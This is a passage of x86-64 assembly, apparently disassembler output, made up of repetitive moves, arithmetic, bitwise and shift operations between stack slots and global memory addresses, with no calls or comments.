mov dword [rcx], eax
movzx eax, byte [rsp + 0x19e]
mov rcx, qword [rsp + 0xd930]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2aa], al
movzx eax, word [rsp + 0x1174]
mov word [rsp + 0x1500], ax
lea rax, [rsp + 0x4af0]
mov qword [0x14019e1b0], rax
mov rax, qword [rsp + 0xcaf0]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xceb8]
mov dword [rcx], eax
lea rax, [rsp + 0x4c50]
mov qword [rsp + 0xde90], rax
mov rax, qword [rsp + 0xcba8]
mov rcx, qword [0x14019dc28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4238], eax
movzx eax, word [rsp + 0xf2c]
movzx ecx, word [rsp + 0xc9c]
add eax, ecx
mov rcx, qword [rsp + 0xd568]
mov word [rcx], ax
lea rax, [rsp + 0x1ee]
mov qword [rsp + 0xde98], rax
mov eax, dword [rsp + 0x3b54]
mov ecx, dword [rsp + 0x4bfc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0xbe80]
mov eax, dword [rax]
mov dword [rsp + 0x51bc], eax
mov rax, qword [rsp + 0xd5f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x492c], eax
mov rax, qword [rsp + 0xda30]
mov rcx, qword [rsp + 0xc508]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019d8a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4c90]
mov ecx, dword [rsp + 0x48b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43d8], eax
movzx eax, word [rsp + 0x14e0]
mov word [rsp + 0x1504], ax
mov rax, qword [rsp + 0xc8e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc7d0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x28d], al
lea rax, [rsp + 0x2a1]
mov qword [rsp + 0xdea0], rax
movzx eax, word [rsp + 0xf34]
movzx ecx, word [rsp + 0x11a8]
xor eax, ecx
mov rcx, qword [rsp + 0xbf40]
mov word [rcx], ax
mov eax, dword [0x14019e138]
mov dword [rsp + 0x51c0], eax
mov rax, qword [rsp + 0xb268]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb800]
mov qword [rsp + 0xdea8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdea8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4b38], eax
mov rax, qword [rsp + 0xc8b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcea0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1378], ax
lea rax, [rsp + 0x1b2]
mov qword [0x14019e1b8], rax
mov rax, qword [rsp + 0xc9d8]
mov rcx, qword [rsp + 0xd240]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3490], eax
mov rax, qword [rsp + 0xaab8]
mov rcx, qword [rsp + 0xba60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3694], eax
lea rax, [0x14019daec]
mov qword [rsp + 0xdeb0], rax
mov eax, dword [rsp + 0x46b4]
mov ecx, dword [rsp + 0x4514]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4800], eax
mov rax, qword [rsp + 0xce28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb94]
and eax, ecx
mov word [rsp + 0xb08], ax
movzx eax, byte [0x14019900f]
mov byte [rsp + 0x2df], al
mov rax, qword [rsp + 0xcae0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4510]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc0c0]
mov dword [rcx], eax
lea rax, [rsp + 0x4174]
mov qword [rsp + 0xdeb8], rax
movsx eax, byte [0x14019900b]
mov rcx, qword [rsp + 0xdb50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bf66], al
mov rax, qword [rsp + 0xb308]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc120]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12a4], ax
movzx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0xb4a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a7], al
movzx eax, word [rsp + 0x1110]
mov word [rsp + 0x1508], ax
mov eax, dword [rsp + 0x49cc]
mov ecx, dword [rsp + 0x5044]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c2c], eax
mov rax, qword [rsp + 0xa5f0]
mov eax, dword [rax]
mov dword [rsp + 0x51c4], eax
mov rax, qword [rsp + 0xcb28]
mov eax, dword [rax]
mov ecx, dword [0x14019df98]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb338]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4950]
mov dword [rsp + 0x51c8], eax
mov rax, qword [rsp + 0xcbe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5010]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8d0]
mov dword [rcx], eax
mov rax, qword [0x14019df78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x17c]
sar eax, cl
mov byte [rsp + 0x17d], al
lea rax, [rsp + 0x1290]
mov qword [0x14019e1c0], rax
mov eax, dword [rsp + 0x4de0]
mov dword [rsp + 0x51cc], eax
mov eax, dword [rsp + 0x421c]
mov rcx, qword [rsp + 0xd728]
mov qword [rsp + 0xdec0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdec0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xac68]
mov dword [rcx], eax
lea rax, [rsp + 0x4a40]
mov qword [rsp + 0xdec8], rax
mov rax, qword [rsp + 0xc0a8]
mov ecx, dword [rsp + 0x3da0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4fb8], eax
mov rax, qword [0x14019df78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb840]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2ca], al
movzx eax, word [rsp + 0xf58]
mov word [rsp + 0x150c], ax
mov rax, qword [rsp + 0xdd88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fd]
add eax, ecx
mov rcx, qword [rsp + 0xa900]
mov byte [rcx], al
mov rax, qword [0x14019de10]
movzx eax, word [rax]
mov word [rsp + 0x1510], ax
mov rax, qword [rsp + 0xb7b0]
mov ecx, dword [rsp + 0x4ba8]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019c0d0], eax
mov eax, dword [rsp + 0x4928]
mov ecx, dword [rsp + 0x5160]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3420], eax
mov rax, qword [rsp + 0xcf30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdcd8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x157], al
movzx eax, word [rsp + 0x12b0]
mov word [rsp + 0x1514], ax
mov rax, qword [rsp + 0xa740]
mov rcx, qword [0x14019e090]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb058]
mov dword [rcx], eax
lea rax, [rsp + 0x5194]
mov qword [rsp + 0xded0], rax
mov rax, qword [rsp + 0xa6e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4628]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x506c], eax
mov rax, qword [rsp + 0xdad0]
mov rcx, qword [0x14019df90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b74], eax
lea rax, [rsp + 0x2a2]
mov qword [rsp + 0xded8], rax
mov rax, qword [rsp + 0xd258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x135c]
sub eax, ecx
mov word [0x14019c164], ax
mov rax, qword [rsp + 0xb940]
mov rcx, qword [rsp + 0xab08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4b14], eax
lea rax, [rsp + 0x4f30]
mov qword [rsp + 0xdee0], rax
mov rax, qword [rsp + 0xd940]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4878]
sar eax, cl
mov dword [rsp + 0x4ca4], eax
lea rax, [rsp + 0x4960]
mov qword [rsp + 0xdee8], rax
mov rax, qword [rsp + 0xa858]
mov eax, dword [rax]
mov rcx, qword [0x14019dc08]
mov qword [rsp + 0xdef0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdef0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb938]
mov dword [rcx], eax
movsx eax, word [rsp + 0x129c]
mov rcx, qword [rsp + 0xdba0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1180], ax
lea rax, str.Sb
mov qword [rsp + 0xdef8], rax
movzx eax, byte [rsp + 0x2da]
mov rcx, qword [rsp + 0xb818]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x255], al
mov rax, qword [rsp + 0xd1e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf40]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019d860]
mov word [rcx], ax
mov rax, qword [0x14019e150]
mov rcx, qword [rsp + 0xb858]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x38b0], eax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb278]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ea4], eax
mov rax, qword [rsp + 0xb840]
movzx eax, byte [rax]
mov rcx, qword [0x14019d928]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x297], al
lea rax, [rsp + 0x1400]
mov qword [rsp + 0xdf00], rax
mov eax, dword [rsp + 0x4c10]
mov ecx, dword [rsp + 0x4178]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3390], eax
mov rax, qword [rsp + 0xa748]
mov eax, dword [rax]
mov dword [rsp + 0x51d0], eax
mov rax, qword [rsp + 0xb038]
mov ecx, dword [rsp + 0x4df8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4804], eax
mov rax, qword [rsp + 0xba18]
mov rcx, qword [rsp + 0xa980]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x46f4], eax
mov rax, qword [rsp + 0xc528]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70]
add eax, ecx
mov byte [0x14019c01a], al
movzx eax, word [rsp + 0x14c8]
mov word [rsp + 0x1518], ax
mov rax, qword [rsp + 0xdac8]
mov rcx, qword [rsp + 0xdb20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42dc], eax
lea rax, [0x14019e13c]
mov qword [rsp + 0xdf08], rax
mov rax, qword [rsp + 0xa7f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1190]
shl eax, cl
mov word [rsp + 0x1148], ax
mov rax, qword [rsp + 0xc840]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sar eax, cl
mov rcx, qword [rsp + 0xd060]
mov byte [rcx], al
lea rax, [rsp + 0x201]
mov qword [rsp + 0xdf10], rax
mov rax, qword [rsp + 0xb578]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1428]
xor eax, ecx
mov word [rsp + 0x111c], ax
lea rax, [rsp + 0x46d8]
mov qword [rsp + 0xdf18], rax
mov eax, dword [0x14019df98]
mov ecx, dword [rsp + 0x4ccc]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x14019ddf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd628]
mov ecx, dword [rsp + 0x36e4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc908]
mov dword [rcx], eax
lea rax, [rsp + 0x51c0]
mov qword [rsp + 0xdf20], rax
mov rax, qword [rsp + 0xa8f8]
mov ecx, dword [rsp + 0x50a8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc1f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbaa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa448]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbfc], ax
movzx eax, byte [rsp + 0x2bc]
mov byte [rsp + 0x2e0], al
mov rax, qword [rsp + 0xba58]
mov rcx, qword [rsp + 0xda98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4728], eax
lea rax, [rsp + 0x36d0]
mov qword [rsp + 0xdf28], rax
mov eax, dword [rsp + 0x4330]
mov ecx, dword [rsp + 0x3ee8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ae4], eax
mov rax, qword [rsp + 0xbb50]
mov eax, dword [rax]
mov dword [0x14019e1c8], eax
mov rax, qword [rsp + 0xcd70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c8]
sub eax, ecx
mov byte [rsp + 0x276], al
movzx eax, word [rsp + 0x10c4]
mov word [rsp + 0x151c], ax
movsx eax, byte [rsp + 0x1c4]
mov rcx, qword [0x14019dc10]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc490]
mov byte [rcx], al
mov rax, qword [rsp + 0xba28]
movzx eax, word [rax]
mov word [rsp + 0x1520], ax
mov eax, dword [rsp + 0x391c]
mov ecx, dword [rsp + 0x46fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4360], eax
mov rax, qword [rsp + 0xab88]
mov rcx, qword [0x14019dac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4b18], eax
movzx eax, byte [rsp + 0x163]
mov byte [rsp + 0x2e1], al
mov rax, qword [rsp + 0xc3d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad50]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xceb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc660]
mov ecx, dword [rsp + 0x33b8]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019c168], eax
mov eax, dword [rsp + 0x44c8]
mov dword [rsp + 0x51d4], eax
mov rax, qword [rsp + 0xdcf8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbfc0]
mov qword [rsp + 0xdf30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdf30]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4d8c], eax
lea rax, [0x14019dd80]
mov qword [rsp + 0xdf38], rax
mov rax, qword [rsp + 0xd418]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
or eax, ecx
mov rcx, qword [rsp + 0xb700]
mov byte [rcx], al
movzx eax, word [rsp + 0x10fc]
movzx ecx, word [rsp + 0x1464]
sub eax, ecx
mov word [rsp + 0x1154], ax
mov rax, qword [0x14019e190]
mov eax, dword [rax]
mov dword [rsp + 0x51d8], eax
mov rax, qword [rsp + 0xad98]
mov rcx, qword [rsp + 0xaaf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x435c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cf8], eax
mov rax, qword [rsp + 0xb638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50ec]
sub ecx, eax
mov eax, ecx
mov dword [0x14019c050], eax
mov rax, qword [rsp + 0xbcf0]
mov ecx, dword [rsp + 0x46f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4b68], eax
mov rax, qword [rsp + 0xba48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd1c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12f0], ax
mov rax, qword [rsp + 0xc7d0]
movzx eax, byte [rax]
mov byte [rsp + 0x2e2], al
movzx eax, word [rsp + 0x1308]
movzx ecx, word [rsp + 0x12f4]
add eax, ecx
mov rcx, qword [rsp + 0xc160]
mov word [rcx], ax
lea rax, [rsp + 0x2a5]
mov qword [rsp + 0xdf40], rax
mov rax, qword [rsp + 0xdaf8]
mov rcx, qword [rsp + 0xb580]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f6c], eax
mov rax, qword [rsp + 0xcde8]
mov rcx, qword [rsp + 0xd300]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d44], eax
mov rax, qword [0x14019ded8]
movzx eax, word [rax]
mov word [rsp + 0x1524], ax
movzx eax, byte [rsp + 0x281]
mov rcx, qword [rsp + 0xa958]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14019dc38]
mov byte [rcx], al
mov eax, dword [rsp + 0x4a48]
mov ecx, dword [rsp + 0x4390]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e60], eax
mov rax, qword [rsp + 0xd110]
mov eax, dword [rax]
mov dword [rsp + 0x51dc], eax
mov eax, dword [rsp + 0x442c]
mov rcx, qword [rsp + 0xd790]
mov qword [rsp + 0xdf48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdf48]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xdee0]
mov dword [rcx], eax
mov eax, dword [0x14019c0c0]
mov rcx, qword [rsp + 0xc6e0]
mov qword [rsp + 0xdf50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdf50]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xd490]
mov dword [rcx], eax
lea rax, [rsp + 0x1500]
mov qword [rsp + 0xdf58], rax
movzx eax, byte [rsp + 0x259]
movzx ecx, byte [rsp + 0x29d]
or eax, ecx
mov byte [rsp + 0x1c9], al
mov rax, qword [rsp + 0xcb40]
mov eax, dword [rax]
mov dword [rsp + 0x51e0], eax
mov rax, qword [0x14019ddb8]
mov rcx, qword [rsp + 0xbda0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45f4], eax
movsx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0xdaa0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019c01b], al
mov rax, qword [rsp + 0xb228]
movzx eax, word [rax]
mov word [rsp + 0x1528], ax
mov rax, qword [0x14019dd08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab90]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1018], ax
mov rax, qword [rsp + 0xaa78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa940]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb130]
mov byte [rcx], al
lea rax, [rsp + 0x4ce8]
mov qword [rsp + 0xdf60], rax
mov rax, qword [rsp + 0xdd80]
mov rcx, qword [rsp + 0xb6a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd6b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4ff4]
mov dword [rsp + 0x51e4], eax
mov rax, qword [rsp + 0xa460]
mov rcx, qword [rsp + 0xca10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ea0], eax
mov rax, qword [rsp + 0xbb50]
mov rcx, qword [rsp + 0xc228]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc0c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc620]
movzx eax, byte [rax]
mov byte [rsp + 0x2e3], al
movzx eax, word [rsp + 0x124c]
mov rcx, qword [rsp + 0xc998]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019bf54], ax
mov rax, qword [rsp + 0xd030]
mov rcx, qword [rsp + 0xd598]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa708]
mov dword [rcx], eax
lea rax, [rsp + 0x4eac]
mov qword [rsp + 0xdf68], rax
mov rax, qword [0x14019dea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x482c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbf28]
mov dword [rcx], eax
mov eax, dword [rsp + 0x42c0]
mov ecx, dword [rsp + 0x4648]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d2c], eax
lea rax, [rsp + 0x1d1]
mov qword [rsp + 0xdf70], rax
movzx eax, word [rsp + 0x12ec]
mov rcx, qword [0x14019dfc8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x10bc], ax
movzx eax, byte [rsp + 0x28d]
mov byte [rsp + 0x2e4], al
movsx eax, word [rsp + 0xcf4]
movsx ecx, word [rsp + 0x12e8]
xor eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov dword [0x14019e1cc], eax
mov rax, qword [rsp + 0xb080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4384]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x35b8], eax
mov rax, qword [rsp + 0xaac0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xace8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1da], al
mov rax, qword [rsp + 0xaee0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1254]
and eax, ecx
mov rcx, qword [rsp + 0xb758]
mov word [rcx], ax
lea rax, [rsp + 0x4a0c]
mov qword [rsp + 0xdf78], rax
mov rax, qword [rsp + 0xde88]
mov rcx, qword [rsp + 0xd500]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x47b4], eax
mov rax, qword [0x14019df08]
mov eax, dword [rax]
mov dword [rsp + 0x51e8], eax
mov rax, qword [rsp + 0xbe40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3754]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbcd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc788]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x259]
and eax, ecx
mov rcx, qword [rsp + 0xae58]
mov byte [rcx], al
mov rax, qword [0x14019e168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb730]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019dd90]
mov word [rcx], ax
lea rax, [rsp + 0x4250]
mov qword [rsp + 0xdf80], rax
mov rax, qword [rsp + 0xd968]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcdf8]
mov dword [rcx], eax
mov eax, dword [0x14019c114]
mov dword [rsp + 0x51ec], eax
mov rax, qword [rsp + 0xd390]
mov ecx, dword [rsp + 0x44e8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc510]
mov dword [rcx], eax
mov rax, qword [rsp + 0xccd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e14], eax
movzx eax, word [rsp + 0x14dc]
mov word [rsp + 0x152c], ax
mov rax, qword [rsp + 0xab70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fa]
add eax, ecx
mov rcx, qword [rsp + 0xda58]
mov byte [rcx], al
mov rax, qword [rsp + 0xcd30]
movzx eax, word [rax]
mov word [rsp + 0x1530], ax
mov rax, qword [0x14019dd78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c1]
shl eax, cl
mov byte [0x14019c026], al
mov eax, dword [rsp + 0x4f70]
mov rcx, qword [rsp + 0xb1d8]
mov qword [rsp + 0xdf88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdf88]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4d90], eax
mov rax, qword [rsp + 0xbb28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3a48]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbfd0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1348]
mov word [rsp + 0x1534], ax
mov rax, qword [rsp + 0xbe68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
xor eax, ecx
mov rcx, qword [rsp + 0xdd28]
mov byte [rcx], al
mov rax, qword [rsp + 0xdd78]
mov eax, dword [rax]
mov dword [rsp + 0x51f0], eax
mov rax, qword [rsp + 0xba68]
mov rcx, qword [rsp + 0xd038]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc200]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4954]
mov dword [rsp + 0x51f4], eax
mov rax, qword [rsp + 0xbcd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd9f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd010]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb270]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019c16c], ax
mov rax, qword [rsp + 0xd1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xce00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e6], al
lea rax, [rsp + 0x4390]
mov qword [rsp + 0xdf90], rax
mov rax, qword [rsp + 0xb110]
mov ecx, dword [rsp + 0x478c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcb08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac50]
movzx eax, word [rax]
mov word [rsp + 0x1538], ax
mov rax, qword [rsp + 0xd6b0]
movsx eax, byte [rax]
movsx ecx, byte [0x14019bff2]
and eax, ecx
mov rcx, qword [rsp + 0xdd88]
mov byte [rcx], al
mov rax, qword [rsp + 0xd1f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xadc8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb818]
mov byte [rcx], al
mov rax, qword [rsp + 0xb100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12ec]
sub eax, ecx
mov word [rsp + 0xa6c], ax
mov rax, qword [rsp + 0xc100]
mov ecx, dword [rsp + 0x513c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3a48], eax
mov rax, qword [rsp + 0xc518]
mov rcx, qword [rsp + 0xc170]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14019e080]
mov dword [rcx], eax
mov rax, qword [0x14019ddd8]
mov eax, dword [rax]
mov dword [rsp + 0x51f8], eax
mov rax, qword [rsp + 0xa988]
mov ecx, dword [rsp + 0x4a20]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x44d0], eax
mov rax, qword [rsp + 0xca68]
mov rcx, qword [rsp + 0xcb28]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xd9b8]
mov dword [rcx], eax
lea rax, [rsp + 0x114c]
mov qword [rsp + 0xdf98], rax
movzx eax, byte [rsp + 0x197]
movzx ecx, byte [rsp + 0x1cf]
sar eax, cl
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0xa960]
mov eax, dword [rax]
mov dword [rsp + 0x51fc], eax
mov eax, dword [rsp + 0x4ed8]
mov rcx, qword [rsp + 0xcad8]
mov qword [rsp + 0xdfa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdfa0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x42c8], eax
mov rax, qword [rsp + 0xad90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4200], eax
mov rax, qword [rsp + 0xba18]
mov ecx, dword [rsp + 0x3ec4]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019c058], eax
mov rax, qword [rsp + 0xde58]
movzx eax, byte [rax]
mov byte [rsp + 0x2e5], al
mov rax, qword [rsp + 0xab40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb4d0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcea0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd48]
movzx eax, byte [rax]
mov byte [rsp + 0x2e6], al
mov rax, qword [rsp + 0xa630]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa790]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12cc], ax
mov eax, dword [rsp + 0x4320]
mov dword [rsp + 0x5200], eax
mov rax, qword [rsp + 0xa590]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f84]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8b8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1354]
mov rcx, qword [rsp + 0xaf58]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc9e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2a7]
mov byte [rsp + 0x2e7], al
lea rax, [rsp + 0x3c60]
mov qword [0x14019e1d0], rax
mov rax, qword [rsp + 0xde00]
mov ecx, dword [rsp + 0x4354]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa8a0]
mov dword [rcx], eax
lea rax, [rsp + 0x4db0]
mov qword [rsp + 0xdfa8], rax
